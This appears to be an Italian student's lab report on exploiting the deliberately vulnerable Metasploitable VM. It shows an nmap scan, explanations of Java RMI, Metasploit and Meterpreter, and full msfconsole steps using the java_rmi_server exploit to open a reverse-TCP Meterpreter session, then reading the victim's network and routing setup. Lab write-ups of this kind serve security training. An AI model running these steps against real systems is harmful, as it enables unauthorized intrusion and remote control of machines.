

# PROGETTO SETTIMANALE 7

Oggi andremo ad effettuare un exploit sulla macchina metasploitable tramite il programma metasploit che troviamo sul nostro kali. Prima di poter eseguire l'exploit abbiamo bisogno di effettuare una scansione di rete sulla macchina metasploitable, lo faremo utilizzando nmap. Dal risultato di nmap verso la macchina vittima, possiamo notare diverse porte e servizi interessanti, oggi ci concentreremo sulla porta 1099 java-rmi.

```
(kali@kali)~$ nmap -sV 192.168.1.77
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-26 04:36 EST
Nmap scan report for 192.168.1.77
Host is up (0.011s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE        VERSION
21/tcp    open  ftp            vsftpd 2.3.4
22/tcp    open  ssh            OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet         Linux telnetd
25/tcp    open  smtp           Postfix smtpd
53/tcp    open  domain         ISC BIND 9.4.2
80/tcp    open  http           Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind        2 (RPC #100000)
139/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec           netkit-rsh rexecd
513/tcp   open  login          OpenBSD or Solaris rlogind
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi       GNU Classpath grmiregistry
1524/tcp  open  bindshell      Metasploitable root shell
2049/tcp  open  nfs            2-4 (RPC #100003)
2121/tcp  open  ftp            ProFTPD 1.3.1
3306/tcp  open  mysql          MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql     PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc            VNC (protocol 3.3)
6000/tcp  open  X11            (access denied)
6667/tcp  open  irc            UnrealIRCd
8009/tcp  open  ajp13          Apache Jserv (Protocol v1.3)
8180/tcp  open  http           Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.24 seconds
```

## JAVA-RMI

Il protocollo 1099 è associato al servizio di registrazione del Registro di oggetti remoti (Remote Object Registry) nell'architettura Java RMI (Remote Method Invocation). Java RMI è un meccanismo che consente a un'applicazione Java di invocare metodi su oggetti remoti in modo trasparente come se fossero oggetti locali. Il servizio di registrazione del Registro di oggetti remoti è responsabile della memorizzazione dei riferimenti agli oggetti remoti disponibili per le applicazioni client.

**Il protocollo 1099 è utilizzato per consentire alle applicazioni client di individuare il Registro di oggetti remoti e quindi accedere agli oggetti remoti registrati su di esso. Quando un'applicazione Java RMI viene eseguita, può registrare oggetti remoti sul Registro di oggetti remoti, specificando l'indirizzo IP e la porta su cui il Registro di oggetti remoti è in ascolto. I client possono quindi utilizzare il protocollo 1099 per interrogare il Registro di oggetti remoti e ottenere i riferimenti agli oggetti remoti di cui hanno bisogno.**

**In breve, il protocollo 1099 Java RMI facilita la scoperta e l'accesso agli oggetti remoti all'interno di un'applicazione Java distribuita.**

**Una volta spiegato cosa fa il protocollo della porta 1099 potremmo proseguire con l'attacco ma non prima di aver specificato bene cos'è un exploit (specificando la differenza che c'è con il malware) e parlare nello specifico del tool Metasploit e del suo payload principale ovvero Meterpreter, andiamo in ordine.**

## **EXPLOIT/MALWARE E DIFFERENZA**

**Un exploit è un tipo di software o tecnica utilizzata per sfruttare una vulnerabilità nel software o nel sistema operativo al fine di ottenere un accesso non autorizzato o eseguire un'azione dannosa. Gli exploit possono sfruttare falle di sicurezza come bug del software, errori di progettazione o configurazioni non sicure per compromettere un sistema informatico. Quando viene scoperta una vulnerabilità, gli hacker o i ricercatori di sicurezza possono sviluppare exploit per sfruttarla.**

**Il termine "malware" è una contrazione di "software dannoso" (malicious software). Si riferisce a qualsiasi tipo di software progettato intenzionalmente per danneggiare, compromettere o ottenere accesso non autorizzato a un computer o a un sistema informatico senza il consenso dell'utente.**

**In breve, il malware è il software dannoso che può essere distribuito e utilizzato attraverso svariati metodi, mentre un exploit è una specifica tecnica o software utilizzato per sfruttare una vulnerabilità al fine di ottenere un accesso non autorizzato o eseguire un'azione dannosa. Gli exploit possono essere utilizzati come parte del processo di distribuzione del malware o per scopi più specifici di compromissione dei sistemi. O meglio dire che l'exploit sfrutta una vulnerabilità già presente nel sistema/applicazione... mentre il malware ha solo scopo di andare a creare la vulnerabilità.**

## **METASPLOIT**

**Metasploit è un framework open source ampiamente utilizzato per lo sviluppo, il test e l'utilizzo di exploit informatici. È progettato per aiutare i professionisti della sicurezza informatica a testare la sicurezza dei sistemi informatici, identificando e sfruttando vulnerabilità al fine di migliorare le difese dei sistemi. Metasploit è uno strumento potente utilizzato dagli esperti di sicurezza informatica per testare la sicurezza dei sistemi, identificare vulnerabilità e sviluppare difese più robuste contro gli attacchi informatici.**

## **METERPRETER**

**Meterpreter è un componente fondamentale di Metasploit Framework, utilizzato principalmente per l'esecuzione di azioni post-compromissione sui sistemi compromessi. È un payload flessibile e potente che consente agli operatori di intrusione di ottenere un controllo completo sui sistemi compromessi, nonché di eseguire una vasta gamma di azioni dannose o di raccolta di informazioni. Meterpreter è un payload versatile e potente utilizzato dagli operatori di intrusione per ottenere e mantenere l'accesso non autorizzato ai sistemi compromessi, nonché per eseguire una vasta gamma di azioni dannose e di raccolta di informazioni.**

Una volta spiegate nel dettaglio tutte le prerogative possiamo vedere nello specifico le fasi dell'attacco. Partiamo con avviare metasploit tramite il comando 'msfconsole', cerchiamo con 'search' l'exploit specifico per java-rmi, troviamo diversi risultati, per abbreviare la ricerca dell'exploit da usare nel nostro caso, testiamo solo gli exploit che hanno nel nome sia 'java' che 'rmi'.

```

kali@kali: ~
File Actions Edit View Help
0 exploit/multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce 2019-05-22 excellent Yes Atlassian
Crowd pdkinstall Unauthenticated Plugin Upload RCE
1 exploit/multi/misc/java_jmx_server 2013-05-22 excellent Yes Java JMX
Server Insecure Configuration Java Code Execution
2 auxiliary/scanner/misc/java_jmx_server 2013-05-22 normal No Java JMX
Server Insecure Endpoint Code Execution Scanner
3 auxiliary/gather/java_rmi_registry 2013-05-22 normal No Java RMI
Registry Interfaces Enumeration
4 exploit/multi/misc/java_rmi_server 2011-10-15 excellent Yes Java RMI
Server Insecure Default Configuration Java Code Execution
5 auxiliary/scanner/misc/java_rmi_server 2011-10-15 normal No Java RMI
Server Insecure Endpoint Code Execution Scanner
6 exploit/multi/browser/java_rmi_connection_impl 2010-03-31 excellent No Java RMIC
onnectionImpl Deserialization Privilege Escalation
7 exploit/multi/browser/java_signed_applet 1997-02-19 excellent No Java Sign
ed Applet Social Engineering Code Execution
8 exploit/multi/http/jenkins_metaprogramming 2019-01-08 excellent Yes Jenkins A
CL Bypass and Metaprogramming RCE
9 exploit/linux/misc/jenkins_java_deserialize 2015-11-18 excellent Yes Jenkins C
LI RMI Java Deserialization Vulnerability
10 exploit/multi/browser/firefox_xpi_bootstrapped_addon 2007-06-27 excellent No Mozilla F
irefox Bootstrapped Addon Social Engineering Code Execution
11 exploit/multi/http/openfire_auth_bypass_rce_cve_2023_32315 2023-05-26 excellent Yes Openfire
authentication bypass with RCE plugin
12 exploit/multi/http/totaljs_cms_widget_exec 2019-08-30 excellent Yes Total.js
CMS 12 Widget JavaScript Code Injection
13 exploit/linux/local/vcenter_java_wrapper_vmon_priv_esc 2021-09-21 manual Yes VMware vC
enter vScalation Priv Esc

Interact with a module by name or index. For example info 13, use 13 or use exploit/linux/local/vcenter_java_wrapper
_vmon_priv_esc

msf6 > use 4
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

  Name      Current Setting  Required  Description
  ---      -
  HTTPDELAY  10               yes       Time that the HTTP Server will wait for the payload request
  RHOSTS    0.0.0.0           yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit
/basics/using-metasploit.html
  RPORT     1099             yes       The target port (TCP)
  SRVHOST   0.0.0.0           yes       The local host or network interface to listen on. This must be an address
on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT   8080             yes       The local port to listen on.
  SSL       false            no        Negotiate SSL for incoming connections
  SSLCert                    no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH                    no        The URI to use for this exploit (default is random)

```

Per essere sicuri dell'exploit da utilizzare bisogna provarli tutti, una testati quelli scelti ci risulta giusto il 4, andiamo ad utilizzare il 4 tramite il comando 'use', una volta eseguito Metasploit in automatico utilizza il payload Meterpreter che nel nostro caso va bene. Eseguiamo un 'show

options' per vedere il modulo, dal modulo capiamo che non è impostata la macchina target, allora impostiamo la macchina target tramite il comando 'set rhosts *ipvittima*', ci accertiamo di aver settato l'ip della vittima ed eseguiamo l'exploit. Una volta eseguito l'exploit ci viene chiesto di evidenziare la configurazione della rete, la configurazione di una rete comprende una serie di processi e impostazioni che consentono ai dispositivi di comunicare tra loro in modo efficace e sicuro. Ci salta all'occhio subito l'indirizzo IP della vittima dopo aver effettuato il comando 'ifconfig' per verificare la configurazione della rete, ciò conferma che l'exploit è riuscito e che abbiamo aperto con successo una sessione remota Meterpreter.

```
msf6 exploit(multi/misc/java_rmi_server) > set rhosts 192.168.1.77
rhosts => 192.168.1.77
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.1.70:4444
[*] 192.168.1.77:1099 - Using URL: http://192.168.1.70:8080/82AAoDJzVu8
[*] 192.168.1.77:1099 - Server started.
[*] 192.168.1.77:1099 - Sending RMI Header ...
[*] 192.168.1.77:1099 - Sending RMI Call ...
[*] 192.168.1.77:1099 - Replied to request for payload JAR
[*] Sending stage (58829 bytes) to 192.168.1.77
[*] Meterpreter session 1 opened (192.168.1.70:4444 => 192.168.1.77:41763) at 2024-01-26 04:02:08 -0500

meterpreter > ifconfig

Interface 1
=====
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.1.77
IPv4 Netmask : 255.255.255.0
IPv6 Address : 2001:b07:646a:7fe2:a00:27ff:fe0b:3a8c
IPv6 Netmask : ::
IPv6 Address : fe80::a00:27ff:fe0b:3a8c
IPv6 Netmask : ::
```

Inoltre ci viene chiesto di reperire informazioni sulla tabella di routing della macchina vittima, per trovare il comando adatto alla nostra situazione eseguiamo un 'help' su Meterpreter che ci restituisce come risposta tutti i comandi che possiamo utilizzare e cosa fanno. Ho trovato il comando 'route' che restituisce le informazioni sulla tabella di routing.

```
meterpreter > route
```

```
IPv4 network routes
```

<u>Subnet</u>	<u>Netmask</u>	<u>Gateway</u>	<u>Metric</u>	<u>Interface</u>
127.0.0.1	255.0.0.0	0.0.0.0		
192.168.1.77	255.255.255.0	0.0.0.0		

```
IPv6 network routes
```

<u>Subnet</u>	<u>Netmask</u>	<u>Gateway</u>	<u>Metric</u>	<u>Interface</u>
::1	::	::		
2001:b07:646a:7fe2:a00:27ff:fe0b:3a8c	::	::		
fe80::a00:27ff:fe0b:3a8c	::	::		

```
meterpreter > █
```